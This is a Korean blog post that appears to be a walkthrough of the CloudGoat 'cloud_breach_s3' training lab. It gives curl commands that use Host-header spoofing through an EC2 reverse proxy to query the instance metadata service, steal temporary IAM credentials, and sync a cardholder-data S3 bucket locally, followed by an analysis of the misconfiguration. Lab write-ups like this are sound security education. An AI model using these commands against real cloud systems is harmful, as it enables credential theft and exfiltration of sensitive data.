728x90
# Start
$ ./cloudgoat.py create cloud_breach_s3
$ cd c;pid+breach_s3_[]
[+] start.txt
- 이번에는 aws_account)id와 target_ec2_server_ip 만 제공되었다.
- 전 단계만큼 쉽게 configure 하지는 못할 듯하다.
[+] goal
Download the confidential files from the S3 bucket.
- 이번 exploit 에서의 최종 목표도 앞에서와 조금 다르다. S3 버킷으로부터 비밀 정보(개인정보)를 다운받는 것이 목표다.
[+] Cloud-native Breach 란?
우선 직역하자면, "클라우드 네이티브 침해"라고 한다.
공격자가 클라우드 사용자의 resource에 접근하고, 민감한 정보를 찾고 훔칠 때를 말하는 것이다.
# Exploit Scenario
처음에 제공되는 정보도 이번에는 server ip 이기 때문에 구상할 수 있는 시나리오도 달라진다.
Step1. HTTP Request
$ curl -s http://[target_ec2_server_ip]/latest/meta-data/iam/security-credentials/ -H 'Host:169.25
4.169.254'
(target_ec2_server_ip 는 start.txt에서 얻은 그 서버 아이피다!)
- 리버스 프록시 서버로 동작하고 있는 EC2 인스턴스에 HTTP 요청을 보낸다.
- 응답: cg-banking-WAF-Role-cloud_breach_s3_cgidtz6mobky37
- role을 출력해준다.
** 리버스 프록시 (Reverse Proxy)
- 클라이언트를 대신해 한 대 이상의 서버로부터 자원을 추출하는 프록시 서버다.
- 추출한 자원은 웹 서버 자원들을 마치 웹 서버에서 직접 받은 것처럼 해당 클라이언트로 반환한다.
- 내부 인트라넷에 있는 서버를 호출하기 위해 인터넷 망에 있는 클라이언트가 리버스 프록시 서버에 요청하고 응답을 받는 방식으로 이뤄진다.
- 서버와 클라이언트가 직접 통신하지 않고, 클라이언트는 리버스 프록시 서버를 먼저 호출하기 때문에 실제 서버의 IP를 알 수 없게 된다.
Step2. crul - get more info.
$ curl http://[target-ec2-ip-address]/latest/meta-data/iam/security-credentials/[ec2-role-name] -H 'Host:169.254.169.254'
- AccessKeyId와 SecretAccessKey, Token을 얻을 수 있다.
- 다만 이 credential information은 임시적인 것으로, 만료기간이 있다.
Step3. congifure
$ aws configure --profile [name]
( 이 때 [name]은 아무거나 하고 싶은 이름으로 하면 된다)
Step4. edit credential file
$ vi ~/.aws/credentials
- "aws_session_token" 값을 추가한다.
Step5. list the s3 bucket contents
$ aws s3 ls --profile breach
- s3 bucket contents를 출력한다: cg-cardholder-data-bucket-cloud-breach-s3-cgidtz6mobky37
Step6. sync: copy & paste
$ aws s3 sync s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidtz6mobky37 ./cardholder-data --profile [Name]
sync
동기화; 디렉터리와 s3의 prefix들을 복사한다. 이 때, 새로 업데이트 되는 파일들도 반복적으로 복사한다.
- https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html
이런 식으로 굉장히 민감한 정보들까지도 모두 뽑아갈 수 있다.
[+] Destroy
# Analyze
취약점
- 민감한 credential 정보들을 다운로드 할 수 있다.
- ec2_server_ip 값만 알고 있을 때 외부 공격자가 얼마든지 클라우드에 접속해 민감한 정보까지 쉽게 취득할 수 있다.
발생 원인
(start.txt의 존재는 우선 무시하기로한다!)
- Step1-2에서 얻은 임시 정보를 통해 사용자 인증(추가)을 할 수 있다.
- 임시 인증 키들을 이용해 클라우드에서 실제 사용자로 인식하고 파일을 자유롭게 다운로드 할 수 있게 된다.
(보충: 좀 더 찾아보면서 추가했습니다!)
- 역방향 프록시 서버의 역할을 하고 있는 EC2 인스턴스는 잘못된 actor가 Host Header를 조작해 instance meta-data API를 호출하고 IAM credential 까지 가져올 수 있도록 허용하고 있다.
- 따라서 외부 공격자가 S3 버킷에 접근할 수 있었고 결국 credentials가 S3 버킷에 저장된다.
SMALL
'이것저것 > Cloud' 카테고리의 다른 글
[CloudGoat] 6. rce_web_app (0) | 2021.08.18 |
---|---|
[CloudGoat] 5. ec2_ssrf (0) | 2021.08.17 |
[CloudGoat] 4. iam_privesc_by_attachment (0) | 2021.08.17 |
[CloudGoat] 2. lambda_privesc (0) | 2021.08.15 |
[CloudGoat] 1. iam_privesc_by_rollback (0) | 2021.08.15 |